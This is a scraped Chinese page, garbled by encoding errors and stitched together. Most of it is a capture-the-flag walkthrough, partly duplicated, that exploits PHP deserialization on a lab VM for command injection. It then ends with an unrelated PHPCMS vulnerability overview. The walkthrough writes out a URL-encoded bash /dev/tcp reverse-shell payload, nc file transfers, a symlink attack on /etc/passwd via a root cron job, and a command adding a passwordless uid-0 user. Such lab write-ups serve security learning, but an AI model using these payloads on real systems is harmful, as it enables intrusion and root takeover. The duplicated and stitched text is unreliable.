分析完成后,攻擊思路的重點(diǎn)放在提交的數據(IP地址)校驗結果取決于與isvalid判定的結果,在源碼文件中,默認isValid = False,若是生成一個(gè)序列化的數據,聲明isValid值就等于True,這樣的話(huà),就會(huì )執行ping命令了!
實(shí)現繞過(guò)服務(wù)端的檢查!
反序列化漏洞的利用方法
先在客戶(hù)端上生成一個(gè)序列化的數據序列(內容中需要聲明類(lèi),調用類(lèi)創(chuàng )建一個(gè)新的序列化對象,,對象中的valid指定true,注入Ip地址后添加系統指令)實(shí)現饒過(guò)isValid真假的校驗。
在kali上新建一個(gè)生成序列化的php文件,寫(xiě)一個(gè)ser1.php的php的代碼
運行該php文件
生成了一個(gè)序列,將這個(gè)序列化的內容拷貝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將序列化內容粘貼到截獲的報文之中去
將這個(gè)url 地址轉換一下
能夠看到有兩個(gè)鍵值對 ipaddress 和isvalid
b=1 為布爾值,代表了真的意思!
點(diǎn)擊發(fā)送,服務(wù)端返回了http狀態(tài)碼200
再觀(guān)察服務(wù)端渲染回來(lái)的界面結果,看起來(lái),是執行成功了!
再次驗證結果,將生成序列化里的內容,稍作修改,將ipaddress改成另外一個(gè)Ip地址,(注意,如果改202.106.0.20這個(gè)IP,字符長(cháng)度就要從原來(lái)的9變?yōu)?2)要不然服務(wù)端會(huì )回顯500的狀態(tài)碼!
結果成功!
由此,可以證明構造序列化的數據向服務(wù)端提交請求!,ip地址后面加入一些系統指令,來(lái)進(jìn)一步證明!
這里我在223.5.5.5后面增加了 ;id
服務(wù)端回顯了200的狀態(tài)碼
渲染界面里提示成功!
觀(guān)察服務(wù)端回顯的回應源數據文件
id的命令被執行了,目標靶機的第一個(gè)用戶(hù)身份是apache的用戶(hù)名稱(chēng)
因此,就可以在此處插入更多的指令
查看目標靶機中是否有nc的命令?
結果命令沒(méi)有回顯
由于插入常規的反彈shell 會(huì )導致字符長(cháng)度過(guò)長(cháng),出于簡(jiǎn)單的目的,使用bash直接連接,產(chǎn)生網(wǎng)絡(luò )連接的方式!
輸入以下內容:
在kali中繼續修改ser1.php文件
保存ser1.php文件后,在kali上開(kāi)啟偵聽(tīng)3028端口
再次運行 ser1.php文件,生成一個(gè)新的序列化數據O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將這個(gè)序列化的數據內容插入的repter之中,點(diǎn)擊發(fā)送!
如圖所示:獲得了一個(gè)反彈shell的鏈接!身份是apche
本地提權
先收獲第一個(gè)flag!
查看操作系統版本
查看 sudo 權限以及尋找suid文件漏洞,都沒(méi)有得到有效的線(xiàn)索!
查看 目標系統內的所有用戶(hù)
發(fā)現有一個(gè)rocky的用戶(hù)可以登錄系統!
查看rocky用戶(hù)下的所有文件
重點(diǎn)放在了public_html下的文件,可以看到44441端口下的一些文件
進(jìn)入到該文件目錄,查看index.php 這個(gè)文件,發(fā)現內容和我之前下載的那個(gè)文件內容一樣!類(lèi)中的定義也是一樣的!
查看目標靶機的系統進(jìn)程
沒(méi)有發(fā)現可利用的線(xiàn)索 (mysql用的是非root)
目標靶機啟用了大量的端口!
這就是在端口掃描階段,端口結果沒(méi)有應用的原因!靶機作者用nc空開(kāi)了許多無(wú)用的端口!
在漫長(cháng)的信息收集后,決定使用一個(gè)監視目標靶機進(jìn)程產(chǎn)生的工具
pspy64一個(gè)linux系統進(jìn)程監控工具
下載地址:
部分網(wǎng)絡(luò )環(huán)境需要掛的代理訪(fǎng)問(wèn)
百度云下載地址:
提取碼:1zrs
從該軟件的自述文件可以得知,不需要root身份就可以監控用戶(hù)(操作系統)的新的進(jìn)程創(chuàng )建,符合目前靶機的情況,來(lái)搜尋后臺的進(jìn)程-crond,這些后臺進(jìn)程會(huì )運行腳本文件(這些進(jìn)程是root身份運行,比如定時(shí)任務(wù)什么的)
我現將這個(gè)軟件上傳到我的kali上去,因為目標靶機的系統是64位,因此我下載的這個(gè)Pspy也是64位的!
先查看目標靶機的定時(shí)任務(wù)和root下的定時(shí)任務(wù)
在root下提示是沒(méi)有權限的!
將pspy64這個(gè)文件上傳到目標靶機之中,查看目標靶機系統是否會(huì )在一段時(shí)間過(guò)后,自動(dòng)創(chuàng )建一些后臺進(jìn)程(這些進(jìn)程由root身份運行的呢?)
通過(guò)觀(guān)察,在這個(gè)路徑下,我目前的身份是apache ,而這些文件的用戶(hù)組是apche,是擁有所有的權限的,包括了寫(xiě)入的權限!
因此,我利用nc 來(lái)接收這個(gè)pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
傳入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加執行權限到pspy文件~
啟動(dòng)改文件 ./pspy
這個(gè)啟動(dòng)和執行過(guò)程需要等待一會(huì ),系統會(huì )不會(huì )有新的進(jìn)程出現
??!
1:33
在后臺進(jìn)程中,我發(fā)現了一個(gè)叫做chown.sh的腳本,眾所周知chown是linux的一個(gè)命令
這應該是管理員自己創(chuàng )建的一個(gè)腳本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上監聽(tīng)3031端口,增加一個(gè)反彈shell的連接
修改之前抓取的obj對象里數據內容,將之前觸發(fā)序列化漏洞的數據,有一個(gè)端口改為3031
查看目標靶機里的文件,能夠查看到這個(gè)文件的權限是可以被其他用戶(hù)所讀取
查看該chown.sh文件
看起來(lái)是將周期性的這個(gè)/home/rocky/public_html/* 這個(gè)目標文件夾下所有的文件權限改成屬主是rocky,屬組是apache
這就是我之前有一個(gè)chmod +x 執行失敗的原因,正好趕上周期性的將這個(gè)目錄下所有文件的屬主和屬組改變,讓我無(wú)法修改
一個(gè)周期過(guò)后,我在看這個(gè)public_html下所有的文件的屬主和屬組都發(fā)生了變化!
那么,這個(gè)命令腳本內容對目前滲透有什么幫助呢?
軟連接這個(gè)命令這個(gè)時(shí)候就派上了用場(chǎng)!
先來(lái)看一下系統的/etc/passwd這個(gè)文件的屬主和屬組
在kali上只有root用戶(hù)有可讀可寫(xiě)權限,其他的只有讀的權限
在目標靶機中的這個(gè)/etc/passwd文件是屬主和屬組擁有完全權限!
難么在靶機的這個(gè)/home/rocky/public_html下也新建一個(gè)Passwd文件,并連接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
這個(gè)chown.sh腳本在周期性的執行,會(huì )把這個(gè)/home/rokcy/public_html下的passwd文件屬主改為rocky, 屬組改為apache!
等待一段時(shí)間觀(guān)察,監控到chown腳本周期執行,權限會(huì )發(fā)生變化,
可是圖中的passd權限卻沒(méi)有發(fā)生變化!
按照理論目標靶機的/etc/passwd這個(gè)文件的屬主和屬組也會(huì )被修改成rokcy和apache的!
觀(guān)察,/etc/passwd這個(gè)文件的屬主和屬組變化了!
這樣的話(huà)就可以將root密碼設為空了!
因為當前獲得的反彈shell 不太穩定
我這里新建一個(gè)用戶(hù),密碼占位符x 刪除掉,不需要密碼,使用的是uid和gid都為0的設置,了解linux用戶(hù)屬性的都知道uid=0 gid=0 的賬號一定是root角色,并將這些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切換到daidai這個(gè)用戶(hù)
提權成功,獲取flag
到此結束,打靶結束!
查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 外殼堅硬的谷子
發(fā)現了一個(gè)java_script腳本(實(shí)際滲透工作中應該關(guān)注此腳本內容,能夠透出出后端的信息)
里面的內容大致的意思是
通過(guò)函數,提交表單,通過(guò)序列化的操作!IP地址等信息交給ipaddres這個(gè)變量序列化的操作!
那么在這里面既然有序列化的操作,是否會(huì )存在一個(gè)反序列化的漏洞類(lèi)型呢?
這里還看到了一個(gè)被包含的js的文件
點(diǎn)擊這個(gè)鏈接 :44441/php.js"
里面的內容大致就是序列化函數,大概率存在序列化操作
先對其頁(yè)面進(jìn)行功能化測試,輸入127.0.0.1
在結果框中輸出了結果
輸入一些運營(yíng)商的DNS的IP地址
結果顯示出來(lái),從結果上來(lái)看,就是通過(guò)操作系統的ping 命令操作得來(lái)的!
總的來(lái)說(shuō)這就是一個(gè)ping的功能界面(輸入Ip ,統計輸出一些信息是由服務(wù)端調用了系統的ping 命令而來(lái))
這個(gè)地方是否會(huì )存在命令注入漏洞呢?
使用;號,|管道符這樣的連接命令,連接一個(gè)系統id的命令
如圖:沒(méi)有任何返回
使用burp抓取請求報文,看一下內部的流量變化,是否存在序列化的數據
先把瀏覽器代理設置好
通過(guò)抓取的報文,得到的是一個(gè)POST的請求方式;
攜帶了一個(gè)obj的對象和一個(gè)ip 的變量要提交到服務(wù)端;
其中這個(gè)obj的對象里的內容經(jīng)過(guò)了url編碼,將它轉換成可識別的路徑
轉換結果,懂得序列化格式的朋友一看就是php文件之后的序列化數據的格式了
pingTest :序列化對象定義的的類(lèi)
1 :代表類(lèi)中一個(gè)數據的提交
ipAddress :類(lèi)中提交的一個(gè)數據的變量名稱(chēng)
s : 代表了序列化
9 : 代表了名稱(chēng)ipAddress 和 127.0.0.1字符串的長(cháng)度。
這就是客戶(hù)端發(fā)送的序列化數據格式到服務(wù)端,服務(wù)端收到了127.0.0.1這個(gè)IP 去完成Ping,然后返回給客戶(hù)端的一個(gè)過(guò)程!
如果覺(jué)得burp字體小,可以調的大一些
重新抓取一個(gè)請求報文,在表單中輸入 127.0.0.1;id(增加了注入命令)
在抓取的請求報文中,將obj和ip 這兩個(gè)類(lèi)中序列化數據解碼成可識別的url,看看有什么變化
序列化的格式基本沒(méi)變,變化的就是賦值多了;id 這樣的內容,字符長(cháng)度也增加到了12個(gè);
證明了表單中輸入注入命令的這些內容,由java_script腳本原封不動(dòng)的變成序列化的內容。
轉發(fā)后,服務(wù)端并沒(méi)有執行該序列化的內容
證明服務(wù)端對ip地址這樣的格式存在檢查機制!
為了弄清這個(gè)問(wèn)題,將這個(gè)原始的命令發(fā)送請求發(fā)送給repeater
url被轉換后,在repeater中點(diǎn)擊send發(fā)送給服務(wù)端
在重放的界面中,可以構造一些注入命令;
我在這里添加 | ls ,發(fā)現服務(wù)端的響應報文有500的狀態(tài)碼
改變了字符的長(cháng)度,雖然不是狀態(tài)碼500的狀態(tài)碼,但是回顯頁(yè)面是黑屏
反序列化的漏洞特征在黑盒測試下,是十分難獲取,除非拿到源碼!
那么接下來(lái),就需要再目標靶機中找源碼,在實(shí)際的滲透工作中,源碼的存儲路徑默認在根路徑下的.git或者.svn這樣的版本庫里
先停止burp的截斷功能;
訪(fǎng)問(wèn)瀏覽器,查看是否有g(shù)it的版本庫文件,結果沒(méi)有提示
查看.svn 也沒(méi)有
再回想之前的信息收集,中曾描述了這么一段話(huà):讓我們關(guān)注其備份文件
再次使用dirbuster這個(gè)工具對secure.cereal.ctf:44441這個(gè)路徑下進(jìn)行隱藏路徑和擴展名的爬取,攜帶體型較大的字典文件
在最終的爬取結果中,看到一些之前沒(méi)有被爬取出的備份文件路徑(根據計算機配置,時(shí)間長(cháng)短不一?。?br /> 先訪(fǎng)問(wèn)/icons/small的路徑,訪(fǎng)問(wèn)路徑看起來(lái)但只是有一些小圖片,這對滲透沒(méi)有什么價(jià)值;
再針對/back_en這個(gè)路徑進(jìn)行隱藏路徑的爬取,這里面是否會(huì )存在一些備份文件呢,還是利用dirbuster,只不過(guò)更換一個(gè)小體積的密碼字典文件,攜帶查詢(xún)擴展名為bak
尋找到了一個(gè)index.php.bak,并且這個(gè)http狀態(tài)碼是200 (這個(gè)狀態(tài)顯示該資源是存在的,并且能夠請求到?。?br /> 既然發(fā)現了這一個(gè)文件,回到kali中,使用wget進(jìn)行下載.index.php.bak
查看文件類(lèi)型,看起來(lái)就是一個(gè)php的腳本文件,只不過(guò)增加了一個(gè)擴展名!
使用kali的文本編輯器mousepad打開(kāi)該文件
看起來(lái)是一個(gè)帶有php標簽的php語(yǔ)言文件;
查看該php源碼文件,發(fā)現有html標簽文件
其中有java腳本文件中的一些序列化操作函數
源碼審計分析
class pingTest ---定義了類(lèi)(反序列化對象的類(lèi))
public $ipAddress = "127.0.0.1";--變量名稱(chēng)和賦值
public $isValid = False; -- 校驗是失敗的
public $output = ""; -- 空值
這是之前抓取的報文中obj對象中有的內容
function validate() {-- 定義了一個(gè)函數
if (!$this->isValid) { -- 校驗isValid函數是真還是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用過(guò)濾器對傳入的IpAddress使用方法(使用filter_var進(jìn)行判斷)
$this->isValid = True;--fileter_var函數校驗賦值若成功,將這個(gè)valid值變?yōu)門(mén)rue
}
}
$this->ping(); -- 執行Ping的命令;
}
public function ping() -- 以下是ping 的命令函數具體操作內容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 執行內容就是使用ping 三個(gè)報文;
這里需要明白的是過(guò)濾器FILTERVALIDATE_IP 里的內容是在目標靶機中別的文件里進(jìn)行定義的,其作用就是判斷輸入的內容是不是真正的IP,若是真正的IP,就將isValid改為T(mén)rue;
當post請求接收到來(lái)自obj請求的賦值時(shí),進(jìn)行一個(gè)解碼的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解碼
} else {
$pingTest = new pingTest; -- 新的賦值
}
$pingTest->validate(); --調用vali
分析完成后,攻擊思路的重點(diǎn)放在提交的數據(IP地址)校驗結果取決于與isvalid判定的結果,在源碼文件中,默認isValid = False,若是生成一個(gè)序列化的數據,聲明isValid值就等于True,這樣的話(huà),就會(huì )執行ping命令了!
實(shí)現繞過(guò)服務(wù)端的檢查!
反序列化漏洞的利用方法
先在客戶(hù)端上生成一個(gè)序列化的數據序列(內容中需要聲明類(lèi),調用類(lèi)創(chuàng )建一個(gè)新的序列化對象,,對象中的valid指定true,注入Ip地址后添加系統指令)實(shí)現饒過(guò)isValid真假的校驗。
在kali上新建一個(gè)生成序列化的php文件,寫(xiě)一個(gè)ser1.php的php的代碼
運行該php文件
生成了一個(gè)序列,將這個(gè)序列化的內容拷貝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將序列化內容粘貼到截獲的報文之中去
將這個(gè)url 地址轉換一下
能夠看到有兩個(gè)鍵值對 ipaddress 和isvalid
b=1 為布爾值,代表了真的意思!
點(diǎn)擊發(fā)送,服務(wù)端返回了http狀態(tài)碼200
再觀(guān)察服務(wù)端渲染回來(lái)的界面結果,看起來(lái),是執行成功了!
再次驗證結果,將生成序列化里的內容,稍作修改,將ipaddress改成另外一個(gè)Ip地址,(注意,如果改202.106.0.20這個(gè)IP,字符長(cháng)度就要從原來(lái)的9變?yōu)?2)要不然服務(wù)端會(huì )回顯500的狀態(tài)碼!
結果成功!
由此,可以證明構造序列化的數據向服務(wù)端提交請求!,ip地址后面加入一些系統指令,來(lái)進(jìn)一步證明!
這里我在223.5.5.5后面增加了 ;id
服務(wù)端回顯了200的狀態(tài)碼
渲染界面里提示成功!
觀(guān)察服務(wù)端回顯的回應源數據文件
id的命令被執行了,目標靶機的第一個(gè)用戶(hù)身份是apache的用戶(hù)名稱(chēng)
因此,就可以在此處插入更多的指令
查看目標靶機中是否有nc的命令?
結果命令沒(méi)有回顯
由于插入常規的反彈shell 會(huì )導致字符長(cháng)度過(guò)長(cháng),出于簡(jiǎn)單的目的,使用bash直接連接,產(chǎn)生網(wǎng)絡(luò )連接的方式!
輸入以下內容:
在kali中繼續修改ser1.php文件
保存ser1.php文件后,在kali上開(kāi)啟偵聽(tīng)3028端口
再次運行 ser1.php文件,生成一個(gè)新的序列化數據O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將這個(gè)序列化的數據內容插入的repter之中,點(diǎn)擊發(fā)送!
如圖所示:獲得了一個(gè)反彈shell的鏈接!身份是apche
本地提權
先收獲第一個(gè)flag!
查看操作系統版本
查看 sudo 權限以及尋找suid文件漏洞,都沒(méi)有得到有效的線(xiàn)索!
查看 目標系統內的所有用戶(hù)
發(fā)現有一個(gè)rocky的用戶(hù)可以登錄系統!
查看rocky用戶(hù)下的所有文件
重點(diǎn)放在了public_html下的文件,可以看到44441端口下的一些文件
進(jìn)入到該文件目錄,查看index.php 這個(gè)文件,發(fā)現內容和我之前下載的那個(gè)文件內容一樣!類(lèi)中的定義也是一樣的!
查看目標靶機的系統進(jìn)程
沒(méi)有發(fā)現可利用的線(xiàn)索 (mysql用的是非root)
目標靶機啟用了大量的端口!
這就是在端口掃描階段,端口結果沒(méi)有應用的原因!靶機作者用nc空開(kāi)了許多無(wú)用的端口!
在漫長(cháng)的信息收集后,決定使用一個(gè)監視目標靶機進(jìn)程產(chǎn)生的工具
pspy64一個(gè)linux系統進(jìn)程監控工具
下載地址:
部分網(wǎng)絡(luò )環(huán)境需要掛的代理訪(fǎng)問(wèn)
百度云下載地址:
提取碼:1zrs
從該軟件的自述文件可以得知,不需要root身份就可以監控用戶(hù)(操作系統)的新的進(jìn)程創(chuàng )建,符合目前靶機的情況,來(lái)搜尋后臺的進(jìn)程-crond,這些后臺進(jìn)程會(huì )運行腳本文件(這些進(jìn)程是root身份運行,比如定時(shí)任務(wù)什么的)
我現將這個(gè)軟件上傳到我的kali上去,因為目標靶機的系統是64位,因此我下載的這個(gè)Pspy也是64位的!
先查看目標靶機的定時(shí)任務(wù)和root下的定時(shí)任務(wù)
在root下提示是沒(méi)有權限的!
將pspy64這個(gè)文件上傳到目標靶機之中,查看目標靶機系統是否會(huì )在一段時(shí)間過(guò)后,自動(dòng)創(chuàng )建一些后臺進(jìn)程(這些進(jìn)程由root身份運行的呢?)
通過(guò)觀(guān)察,在這個(gè)路徑下,我目前的身份是apache ,而這些文件的用戶(hù)組是apche,是擁有所有的權限的,包括了寫(xiě)入的權限!
因此,我利用nc 來(lái)接收這個(gè)pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
傳入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加執行權限到pspy文件~
啟動(dòng)改文件 ./pspy
這個(gè)啟動(dòng)和執行過(guò)程需要等待一會(huì ),系統會(huì )不會(huì )有新的進(jìn)程出現
??!
1:33
在后臺進(jìn)程中,我發(fā)現了一個(gè)叫做chown.sh的腳本,眾所周知chown是linux的一個(gè)命令
這應該是管理員自己創(chuàng )建的一個(gè)腳本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上監聽(tīng)3031端口,增加一個(gè)反彈shell的連接
修改之前抓取的obj對象里數據內容,將之前觸發(fā)序列化漏洞的數據,有一個(gè)端口改為3031
查看目標靶機里的文件,能夠查看到這個(gè)文件的權限是可以被其他用戶(hù)所讀取
查看該chown.sh文件
看起來(lái)是將周期性的這個(gè)/home/rocky/public_html/* 這個(gè)目標文件夾下所有的文件權限改成屬主是rocky,屬組是apache
這就是我之前有一個(gè)chmod +x 執行失敗的原因,正好趕上周期性的將這個(gè)目錄下所有文件的屬主和屬組改變,讓我無(wú)法修改
一個(gè)周期過(guò)后,我在看這個(gè)public_html下所有的文件的屬主和屬組都發(fā)生了變化!
那么,這個(gè)命令腳本內容對目前滲透有什么幫助呢?
軟連接這個(gè)命令這個(gè)時(shí)候就派上了用場(chǎng)!
先來(lái)看一下系統的/etc/passwd這個(gè)文件的屬主和屬組
在kali上只有root用戶(hù)有可讀可寫(xiě)權限,其他的只有讀的權限
在目標靶機中的這個(gè)/etc/passwd文件是屬主和屬組擁有完全權限!
難么在靶機的這個(gè)/home/rocky/public_html下也新建一個(gè)Passwd文件,并連接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
這個(gè)chown.sh腳本在周期性的執行,會(huì )把這個(gè)/home/rokcy/public_html下的passwd文件屬主改為rocky, 屬組改為apache!
等待一段時(shí)間觀(guān)察,監控到chown腳本周期執行,權限會(huì )發(fā)生變化,
可是圖中的passd權限卻沒(méi)有發(fā)生變化!
按照理論目標靶機的/etc/passwd這個(gè)文件的屬主和屬組也會(huì )被修改成rokcy和apache的!
觀(guān)察,/etc/passwd這個(gè)文件的屬主和屬組變化了!
這樣的話(huà)就可以將root密碼設為空了!
因為當前獲得的反彈shell 不太穩定
我這里新建一個(gè)用戶(hù),密碼占位符x 刪除掉,不需要密碼,使用的是uid和gid都為0的設置,了解linux用戶(hù)屬性的都知道uid=0 gid=0 的賬號一定是root角色,并將這些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切換到daidai這個(gè)用戶(hù)
提權成功,獲取flag
到此結束,打靶結束!
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 201 次瀏覽 ? 2022-06-21 00:33
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
